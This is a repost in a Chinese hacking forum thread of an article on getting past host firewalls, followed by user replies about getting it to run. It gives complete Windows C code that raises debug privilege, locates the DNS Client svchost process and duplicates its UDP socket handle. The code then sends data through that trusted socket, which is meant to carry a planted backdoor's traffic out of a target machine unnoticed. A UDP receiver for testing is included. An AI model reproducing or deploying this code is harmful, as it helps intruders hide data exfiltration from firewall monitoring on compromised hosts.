发新话题
打印

[转载]一种新的穿透防火墙的数据传输技术

[转载]一种新的穿透防火墙的数据传输技术

  文章作者:ZwelL

使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).

   针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:

1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3. 用转换后的SOCKET进行数据传输

   上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.

   看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".

   我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...

下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...
复制内容到剪贴板
代码:
/*++

  Made By ZwelL
  [email]zwell@sohu.com[/email]
  2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG   NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
   ULONG        ProcessId;
   UCHAR        ObjectTypeNumber;
   UCHAR        Flags;
   USHORT        Handle;
   PVOID        Object;
   ACCESS_MASK      GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
   BOOL   ret      = FALSE;
   char   NTDLL_DLL[] = "ntdll.dll";
   HMODULE ntdll_dll  = NULL;


   if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
   {
      printf( "GetModuleHandle() failed");
      return( FALSE );
   }
   if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
   {
      goto LocateNtdllEntry_exit;
   }
   ret = TRUE;

LocateNtdllEntry_exit:

   if ( FALSE == ret )
   {
      printf( "GetProcAddress() failed");
   }
   ntdll_dll = NULL;
   return( ret );
}


/*++
This routine is used to get a process&#39;s username from it&#39;s SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
   // sanity checks and default value
   if (pUserSid == NULL)
      return false;
   strcpy(szUserName, "?");

   SID_NAME_USE  snu;
   TCHAR       szUser[_MAX_PATH];
   DWORD       chUser = _MAX_PATH;
   PDWORD      pcchUser = &chUser;
   TCHAR       szDomain[_MAX_PATH];
   DWORD       chDomain = _MAX_PATH;
   PDWORD      pcchDomain = &chDomain;

   // Retrieve user name and domain name based on user&#39;s SID.
   if (
      ::LookupAccountSid(
      NULL,
      pUserSid,
      szUser,
      pcchUser,
      szDomain,
      pcchDomain,
      &snu
      )
      )
   {
      wsprintf(szUserName, "%s", szUser);
   }
   else
   {
      return false;
   }

   return true;
}  


/*++

This routine is used to get the DNS process&#39;s Id
  
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it&#39;s a "NETWORK SERVICE",
we cann&#39;t use OpenProcessToken to catch the DNS process&#39;s token information,
even if we has the privilege in catching the SYSTEM&#39;s.

--*/
DWORD GetDNSProcessId()
{
   PWTS_PROCESS_INFO pProcessInfo = NULL;
   DWORD         ProcessCount = 0;
   char          szUserName[255];
   DWORD          Id = -1;

   if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
   {
      // dump each process description
      for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
      {

        if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
        {
           GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
           if( strcmp(szUserName, "NETWORK SERVICE") == 0)
           {
              Id = pProcessInfo[CurrentProcess].ProcessId;
              break;
           }
        }
      }

      WTSFreeMemory(pProcessInfo);
   }

   return Id;
}


/*++
This doesn&#39;t work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
   HANDLE hProcess = NULL,
        hAccessToken = NULL;
   TCHAR InfoBuffer[1000], szDomainName[200];
   PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
   DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
   SID_NAME_USE snu;

   hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
   if(hProcess == NULL)
   {
      printf("OpenProcess wrong");
      CloseHandle(hProcess);
      return false;
   }

   if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
   {
      printf("OpenProcessToken wrong:%08x", GetLastError());
      return false;
   }

   GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
      1000, &dwInfoBufferSize);

   LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
      &dwAccountSize,szDomainName, &dwDomainSize, &snu);

   if(hProcess)
      CloseHandle(hProcess);
   if(hAccessToken)
      CloseHandle(hAccessToken);
   return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
   NTSTATUS              status;
   PVOID                buf  = NULL;
   ULONG                size  = 1;
   ULONG                NumOfHandle = 0;
   ULONG                i;
   PSYSTEM_HANDLE_INFORMATION   h_info  = NULL;
   HANDLE   sock = NULL;
   DWORD   n;

   buf=malloc(0x1000);
   if(buf == NULL)
   {
      printf("malloc wrong\n");
      return NULL;
   }
   status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
   if(STATUS_INFO_LENGTH_MISMATCH == status)
   {
      free(buf);
      buf=malloc(n);
      if(buf == NULL)
      {
        printf("malloc wrong\n");
        return NULL;
      }
      status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
   }
   else
   {
      printf("ZwQuerySystemInformation wrong\n");
      return NULL;
   }

   NumOfHandle = *(ULONG*)buf;

   h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

   for(i = 0; i<NumOfHandle ;i++)
   {
      try
      {
        if( ( h_info[i].ProcessId == PID )  && ( h_info[i].ObjectTypeNumber == 0x1c )
           && (h_info[i].Handle!=0x2c)   // I don&#39;t know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
                              // So I jump over this situation...
                              // May be it&#39;s different in your system,
           ) //wind2000 is 0x1a
        {
           //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
           if( 0 == DuplicateHandle(
              OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
              (HANDLE)h_info[i].Handle,
              GetCurrentProcess(),
              &sock,
              STANDARD_RIGHTS_REQUIRED,
              true,
              DUPLICATE_SAME_ACCESS)
              )
           {
              printf("DuplicateHandle wrong:%8x", GetLastError());
              continue;
           }

           //printf("DuplicateHandle ok\n");
           sockaddr_in name = {0};
           name.sin_family = AF_INET;
           int namelen = sizeof(sockaddr_in);
           getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
           //printf("PORT=%5d\n",   ntohs( name.sin_port ));
           if(ntohs(name.sin_port)>0)   // if port > 0, then we can use it
              break;
        }
      }
      catch(...)
      {
        continue;
      }
   }

   if ( buf != NULL )
   {
      free( buf );
   }
   return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
   HANDLE hToken;
   BOOL rv;

   TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
   LookupPrivilegeValue (
      0,
      name,
      &priv.Privileges[0].Luid
      );

   priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   OpenProcessToken(
      GetCurrentProcess (),
      TOKEN_ADJUST_PRIVILEGES,
      &hToken
      );

   AdjustTokenPrivileges (
      hToken,
      FALSE,
      &priv,
      sizeof priv,
      0,
      0
      );

   rv = GetLastError () == ERROR_SUCCESS;

   CloseHandle (hToken);
   return rv;
}

void main()
{
   WSADATA wsaData;
   char   testbuf[255];
   SOCKET   sock;
   sockaddr_in RecvAddr;

   int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
   if (iResult != NO_ERROR)
      printf("Error at WSAStartup()\n");

   if(!LocateNtdllEntry())
      return;

   if(!EnablePrivilege (SE_DEBUG_NAME))
   {
      printf("EnablePrivilege wrong\n");
      return;
   }

   sock = GetSocketFromId(GetDNSProcessId());
   if( sock==NULL)
   {
      printf("GetSocketFromId wrong\n");
      return;
   }

   //Change there value...
   RecvAddr.sin_family = AF_INET;
   RecvAddr.sin_port = htons(5555);
   RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

   if(SOCKET_ERROR == sendto(sock,
        "test",
        5,
        0,
        (SOCKADDR *) &RecvAddr,
        sizeof(RecvAddr)))
   {
      printf("sendto wrong:%d\n", WSAGetLastError());
   }
   else
   {
      printf("send ok... Have fun, right? ^_^\n");
   }
   
   getchar();

   //WSACleanup();
   return;
}
很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
但是怎么也不行,所以换个方法.用到了wtsapi32库函数.

再用下面的代码测试:
复制内容到剪贴板
代码:
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main()
{
  WSADATA wsaData;
  SOCKET RecvSocket;
  sockaddr_in RecvAddr;
  int Port = 5555;
  char RecvBuf[1024];
  int  BufLen = 1024;
  sockaddr_in SenderAddr;
  int SenderAddrSize = sizeof(SenderAddr);

  //-----------------------------------------------
  // Initialize Winsock
  WSAStartup(MAKEWORD(2,2), &wsaData);

  //-----------------------------------------------
  // Create a receiver socket to receive datagrams
  RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

  //-----------------------------------------------
  // Bind the socket to any address and the specified port.
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(Port);
  RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

  //-----------------------------------------------
  // Call the recvfrom function to receive datagrams
  // on the bound socket.
  printf("Receiving datagrams...\n");
  while(1)
  {
   recvfrom(RecvSocket,
      RecvBuf,
      BufLen,
      0,
      (SOCKADDR *)&SenderAddr,
      &SenderAddrSize);
   printf("%s\n", RecvBuf);
  }

  //-----------------------------------------------
  // Close the socket when finished receiving datagrams
  printf("Finished receiving. Closing socket.\n");
  closesocket(RecvSocket);

  //-----------------------------------------------
  // Clean up and exit.
  printf("Exiting.\n");
  WSACleanup();
  return;
}
测试步骤:
1. 在一台机器上执行UdpReceiver,
2. 在安装防火墙的机器上执行第一个程序.

有什么问题,希望大家可以交流交流...^_^
益友网吧联盟  http://www.96-7.com

TOP

我的XP开了终端服务,怎么还是找不到wtsapi32.h和wtsapi32.lib文件,有wtsapi32.dll!

TOP

我的系统2000 SP4 VC6
程序编译通过  可是测试时报错:
GetSocketFromId wrong
什么原因呢?

TOP

毅然决定,不潜水了
冒个泡泡,[s:40]


楼主说的那个东东,真是一点用都没有,害得我浪费了一天的时间 [s:65]  
之所以说,没用,是因为 发送方必须是 DNS服务器,普通的win2K 是不能作为发送方的,
这也就是为什么楼上的兄弟会 出现  GetSocketFromId wrong 错误的原因。。。。



还有,代码里的注释不全, WTSEnumerateProcesses 函数枚举的只是本机的 DNS服务进程,第一个参数限制了,我试过用 WTSOpenServer 函数打开其他DNS 服务器的IP地址,从而实现普通的win2k向DNS发送数据,但是没有成功...


不知道楼主试过没有,

TOP

看来偶错了,, [s:43]

XP 下枚举出来的svchost是大写的, SVCHOST.EXE...... 所以会出现枚举不到svchost的进程的情况,
而2000下,这个Sender是彻底不能用的啦,代码不是for 2K 的,因为svchost的用户不是 NETWORK SERVICE
主要有两个原因:
   1、2K下进程压根没用户,正打算修改这个,另外注释里也提到了h_info(i).Handle 的值,跟操作系统有关
   2、XP 下的 DNS Client 服务的进程是 SVCHOST.EXE ,但是2K 下的进程,压根就不是,而是services.exe …………  超级郁闷

还有一个问题,94 ,某些XP的系统或2003的系统里有两个 SVCHOST.EXE 都是 NETWORK SERVICE的用户,无法区分,


代码很粗糙,各位高手,多调试哈,

TOP

先收藏学习。谢谢拉~

TOP

发新话题